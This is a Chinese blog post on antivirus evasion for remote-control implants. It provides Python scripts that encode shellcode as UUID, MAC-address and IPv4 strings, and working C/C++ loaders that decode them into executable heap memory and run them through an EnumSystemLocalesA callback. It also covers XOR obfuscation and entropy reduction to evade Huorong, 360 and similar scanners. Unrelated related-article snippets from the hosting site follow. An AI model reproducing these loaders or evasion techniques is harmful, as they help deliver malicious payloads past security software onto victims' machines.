免杀对抗-C2远控篇CC++SC转换格式UUID标识MAC物理IPV4地址减少熵值

参考文章:

https://github.com/INotGreen/Bypass-AMSI
https://mp.weixin.qq.com/s/oJ8eHdX8HGuk6dZv0kmFxg
https://kyxiaxiang.github.io/2022/12/14/AMSIandEtw
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

文章参考:

https://www.anquanke.com/post/id/262666

C/C++内存加载-UUID方式-ShellCode转换

通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

1、先用python代码将shellcode转换成uuid值
2、命令python u.py payload.bin

from uuid import UUID
import sysif len(sys.argv) < 2:print("Usage: %s <shellcode_file>" % sys.argv[0])sys.exit(1)
with open(sys.argv[1], "rb") as f:chunk = f.read(16)print("{}const char* uuids[] =".format(' '*4))print(" {")while chunk:if len(chunk) < 16:padding = 16 - len(chunk)chunk = chunk + (b"\x90" * padding)print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))breakprint("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))chunk = f.read(16)print(" };")

3、将uuid值填入const char* uuids[] = { “xxx” };

#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;const char* uuids[] = { "xxx" };int main() {HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* hmem = HeapAlloc(hHeap, 0, 0x1000);printf("%p\n", hmem);DWORD_PTR ptr = (DWORD_PTR)hmem;int init = sizeof(uuids) / sizeof(uuids[0]);for (int i = 0; i < init; i++) {RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);if (status != RPC_S_OK) {printf("UuidFromStringA != RPC_S_OK\n");CloseHandle(hmem);return -1;}ptr += 16;}printf("[+] HexDump: \n");for (int i = 0; i < init * 16; i++) {printf("%02X ", ((unsigned char*)hmem)[i]);//((unsigned char*)hmem)[i] ^= 0x39;}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);CloseHandle(hmem);return 0;
} 

4、生成文件exe,可以上线,但是杀软被杀
火绒 分离uuid
360 检测UuidFromStringA 使用动态api hook

先使用工具studype查看导出表
在这里插入图片描述

UuidFromStringA函数在RPCRT4.dll里面

C/C++内存加载-MAC方式-ShellCode转换

MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的。

from macaddress import MAC
import sysif len(sys.argv) < 2:print("Usage: %s <shellcode_file>" % sys.argv[0])sys.exit(1)
with open(sys.argv[1], "rb") as f:chunk = f.read(6)print("{}const char* MAC[] =".format(' '*4))print(" {")while chunk:if len(chunk) < 6:padding = 6 - len(chunk)chunk = chunk + (b"\x90" * padding)print("{}\"{}\"".format(' '*8,MAC(chunk)))breakprint("{}\"{}\",".format(' '*8,MAC(chunk)))chunk = f.read(6)print(" };")
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)int Error(const char* msg) {printf("%s (%u)", msg, GetLastError());return 1;
}
int main() {const char* MAC[] ={xxxx};int rowLen = sizeof(MAC) / sizeof(MAC[0]);PCSTR Terminator = NULL;DL_EUI48* LpBaseAddress2 = NULL;NTSTATUS STATUS;HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* hmem = HeapAlloc(hHeap, 0, 0x1000);DWORD_PTR ptr = (DWORD_PTR)hmem;for (int i = 0; i < rowLen; i++) {STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator,(DL_EUI48*)ptr);if (!NT_SUCCESS(STATUS)) {printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)", MAC[i], STATUS, GetLastError());return FALSE;}ptr += 6;}printf("[+] HexDump: \n");for (int i = 0; i < 6 * rowLen; i++) {printf("%02X ", ((unsigned char*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);CloseHandle(hmem);return 0;
}

C/C++内存加载-IPV4方式-ShellCode转换

IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。IPv4使用32位(4字节)地址。

1、先用python代码将shellcode转换成ipv4值
2、命令python u.py payload.bin

from ipaddress import ip_address
import sysif len(sys.argv) < 2:print("Usage: %s <shellcode_file>" % sys.argv[0])sys.exit(1)
with open(sys.argv[1], "rb") as f:chunk = f.read(4)print("{}const char* IPv4s[] =".format(' '*4))print(" {")while chunk:if len(chunk) < 4:padding = 4 - len(chunk)chunk = chunk + (b"\x90" * padding)print("{}\"{}\"".format(' '*8,ip_address(chunk)))breakprint("{}\"{}\",".format(' '*8,ip_address(chunk)))chunk = f.read(4)print(" };")

3、将uuid值填入 const char* IPv4s[] =};

#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endifint main() {const char* IPv4s[] ={xxxxxx};PCSTR Terminator = NULL;PVOID LpBaseAddress = NULL;PVOID LpBaseAddress2 = NULL;NTSTATUS STATUS;HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* hmem = HeapAlloc(hHeap, 0, 0x1000);DWORD_PTR ptr = (DWORD_PTR)hmem;int init = sizeof(IPv4s) / sizeof(IPv4s[0]);for (int i = 0; i < init; i++) {RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE,&Terminator, (in_addr*)ptr);if (!NT_SUCCESS(STATUS)) {printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",IPv4s[i], STATUS, GetLastError());return FALSE;}ptr += 4;}printf("[+] HexDump: \n");for (int i = 0; i < init * 4; i++) {printf("%02X ", ((unsigned char*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);CloseHandle(hmem);return 0;
}

熵和恶意软件

恶意软件会采取许多策略和技巧来从 AV 引擎的扫描中隐藏恶意软件。像shellcode加密,函数调用混淆之类的东西,像这种技术本质上是在加密和压缩数据,因此提高了数据的不可预测性/无序性,也就是提高了熵。所以我们可以根据熵值捕获文件,熵越大,数据就越有可能被混淆或加密,文件也就越有可能是恶意的,熵是一种简单有效的检测技术,但并不能完全识别所有恶意代码。因此,杀毒软件通常使用熵作为其他技术的补充,以更好地识别潜在的威胁。

1、识别项目:
https://github.com/langsasec/File-Entropy-Calculator
2、如何降低熵值:

使用uuid代码
先把shellcode使用ueditor 进行0x66异或
使用python脚本生成uuid值
脚本如下:

#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;const char* uuids[] =
{xxxxx
};int main() {HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* hmem = HeapAlloc(hHeap, 0, 0x1000);printf("%p\n", hmem);DWORD_PTR ptr = (DWORD_PTR)hmem;int init = sizeof(uuids) / sizeof(uuids[0]);for (int i = 0; i < init; i++) {RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);if (status != RPC_S_OK) {printf("UuidFromStringA != RPC_S_OK\n");CloseHandle(hmem);return -1;}ptr += 16;}printf("[+] HexDump: \n");for (int i = 0; i < init * 16; i++) {printf("%02X ", ((unsigned char*)hmem)[i]);((unsigned char*)hmem)[i] ^= 0x66;printf("[+] HexDump: \n");printf("%02X ", ((unsigned char*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);CloseHandle(hmem);return 0;
}

使用Restorator 减少熵值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/288068.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

刷到一个问题还请道友们解疑

问题如上&#xff0c;题目挺简单的&#xff0c;就是插入后排序的思路&#xff0c;我的代码如下&#xff1a; #include <bits/stdc.h>using namespace std; int f(int x,int y){return x < y;//其实要这个没有用&#xff0c;默认是就是从小到大排序 }int main(){int n…

代码随想录——搜索插入位置(Leetcode35)

题目链接 class Solution {public int searchInsert(int[] nums, int target) {int len nums.length;int left 0;int right len - 1;int index -1;while(left < len / 2){if(nums[left] target || target < nums[left]){index left;break;}else{left;}if(nums[ri…

LabVIEW高效光伏数据监控与管理系统

LabVIEW高效光伏数据监控与管理系统 随着新能源技术的发展&#xff0c;光伏发电系统作为一种清洁、高效的能源获取方式受到了广泛的关注。但是&#xff0c;由于光伏发电的特性受到多种环境因素的影响&#xff0c;其运行效率和安全性成为了关键问题。因此&#xff0c;开发一个高…

Automatic Prompt Engineering

让大模型自己生成prompt&#xff0c;生成提示&#xff08;prompt&#xff09;存在两种不同的操作方式。第一种方式是在文本空间中进行&#xff0c;这种提示以离散的文本形式存在。第二种方式是将提示抽象成一个向量&#xff0c;在特征空间中进行操作&#xff0c;这种提示是抽象…

【智能算法】飞蛾扑火算法(MFO)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献 1.背景 2015年&#xff0c;Mirjalili等人受到飞蛾受到火焰吸引行为启发&#xff0c;提出了飞蛾算法(Moth-Flame Optimization&#xff0c;MFO)。 2.算法原理 2.1算法思想 MFO基于自然界中飞蛾寻找光源的…

STL的基本概念

一、STL的诞生 长久以来&#xff0c;软件界一直希望建立一种可重复利用的东西 C的面向对象和泛型编程思想&#xff0c;目的就是复用性的提升 面向对象的三大特性(简单理解) 封装&#xff1a;把属性和行为抽象出来作为一个整体来实现事和物 继承&#xff1a;子类继承父类&a…

c++AVL树

cAVL树 1. 前言 map/multimap、set/multiset这几个容器的共同点是&#xff1a;它们的底层都是按照搜索二叉树来实现的&#xff0c;但是搜索二叉树存在一个缺陷&#xff1a;如果往树中插入的元素有序或接近有序&#xff0c;二叉树搜索就会退化成单支树&#xff0c;时间复杂度会…

GIS与Python机器学习:开创地质灾害风险评价新纪元

地质灾害是指全球地壳自然地质演化过程中&#xff0c;由于地球内动力、外动力或者人为地质动力作用下导致的自然地质和人类的自然灾害突发事件。由于降水、地震等自然作用下&#xff0c;地质灾害在世界范围内频繁发生。我国除滑坡灾害外&#xff0c;还包括崩塌、泥石流、地面沉…

【数学】第十三届蓝桥杯省赛C++ A组/研究生组 Python A组/研究生组《数的拆分》(C++)

【题目描述】 给定 T 个正整数 &#xff0c;分别问每个 能否表示为 的形式&#xff0c;其中 , 为正整数&#xff0c;, 为大于等于 2 的正整数。 【输入格式】 输入第一行包含一个整数 T 表示询问次数。 接下来 T 行&#xff0c;每行包含一个正整数 。 【输出格式】 对于…

《无名之辈》新手攻略:抢先领取神秘礼包!

欢迎来到《无名之辈》&#xff01;在这个丰富多彩的冒险世界里&#xff0c;你将踏上一段充满挑战与机遇的旅程。以下是针对新手玩家的详尽攻略&#xff0c;助你快速提升实力&#xff0c;成为一名优秀的冒险者。 第一步&#xff1a;迅速起步 当你第一次踏入《无名之辈》的世界时…

【wails】(10):研究go-llama.cpp项目,但是发现不支持最新的qwen大模型,可以运行llama-2-7b-chat

1&#xff0c;视频演示地址 2&#xff0c;项目地址go-llama.cpp 下载并进行编译&#xff1a; git clone --recurse-submodules https://github.com/go-skynet/go-llama.cpp cd go-llama.cpp make libbinding.a项目中还打了个补丁&#xff1a; 给 编译成功&#xff0c;虽然有…

AXI4-Stream Interconnect IP核(1)——原理

一、概述 AXI4-Stream Interconnect 是复杂片上系统&#xff08;SoC&#xff09;和现场可编程门阵列&#xff08;FPGA&#xff09;应用设计中的关键组件&#xff0c;它负责在系统内部不同模块之间路由数据流。AXI4-Stream协议是ARM引入的AMBA&#xff08;高级微控制器总线架构&…

mysql-->highgo迁移

1、迁移工具免安装,解压双击迁移工具&#xff0c;会进入如下界面&#xff1a;migration.rar 2、新建组–>创建新的服务 3、在创建好的服务下,新建数据库连接,建立源表和目标表 4、这一步是获取源库&#xff08;Mysql数据库&#xff09;与目标库&#xff08;瀚高数据库&…

【二叉树】Leetcode 226. 翻转二叉树【简单】

翻转二叉树 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1] 解题思路 二叉树翻转操作是指将二叉树中每个节点的左右子树进行交换。具体…

eNSP ppp验证实验

1、R1和R2使用PPP链路直连&#xff0c;R2和R3把2条PPP链路捆绑为PPP MP直连 2、按照图示配置IP地址 3、R2对R1的PPP进行单向chap验证 4、R2和R3的PPP进行双向chap验证 实验步骤&#xff1a; R1配置&#xff1a; #修改名称 <Huawei>sys Enter system view, return u…

Mybatis-核心配置文件 / Mybatis增删改查

1. 核心配置文件 1.1. 概述 核心配置文件是MyBatis框架中用于集中定义全局配置信息的XML文件&#xff0c;其内部包含了一系列预设标签&#xff0c;用于设置数据库连接、对象映射、类型处理等关键参数。这些标签遵循特定的排列顺序&#xff0c;尽管并非所有标签都是强制性的&a…

Altair(澳汰尔) Radioss® 评估和优化动态载荷下的高度非线性问题

Altair&#xff08;澳汰尔&#xff09; Radioss 评估和优化动态载荷下的高度非线性问题 Radioss 是一款超前的分析解决方案&#xff0c;可评估和优化动态载荷下的高度非线性问题。它广泛应用于全球各行各业&#xff0c;能有效提高复杂设计的耐撞性、安全性和可制造性。 30 多…

Python实现一个简单的银行管理系统GUI应用

介绍 在本教程中&#xff0c;我们将创建一个基本的银行管理系统GUI应用&#xff0c;用户可以通过图形界面执行各种银行操作。我们将使用Python编程语言和Tkinter库来实现此应用。 使用说明 需要安装Python解释器&#xff0c;以及PythonCharm &#x1f449; 点我去下载 效果图…

23届嵌入式被裁,有什么好的就业建议?

最近看到了一个提问&#xff0c;原话如下&#xff1a; 本人23届毕业生&#xff0c;就业方向嵌入式软件&#xff0c;坐标深圳&#xff0c;工作3月公司裁员&#xff0c;目前接近12月开始找工作。 boss上投递简历&#xff0c;校招岗&#xff0c;比较有规模的好公司基本已读不回&am…

二进制日志备份与恢复

二进制备份是 MySQL 数据库备份的一种方式&#xff0c;它通过记录数据库的所有更改操作&#xff0c;以二进制格式保存&#xff0c;实现对数据库的增量备份和恢复。binlog_format 是 MySQL 中用来指定二进制日志格式的参数&#xff0c;有三种常见的选项&#xff1a;STATEMENT、R…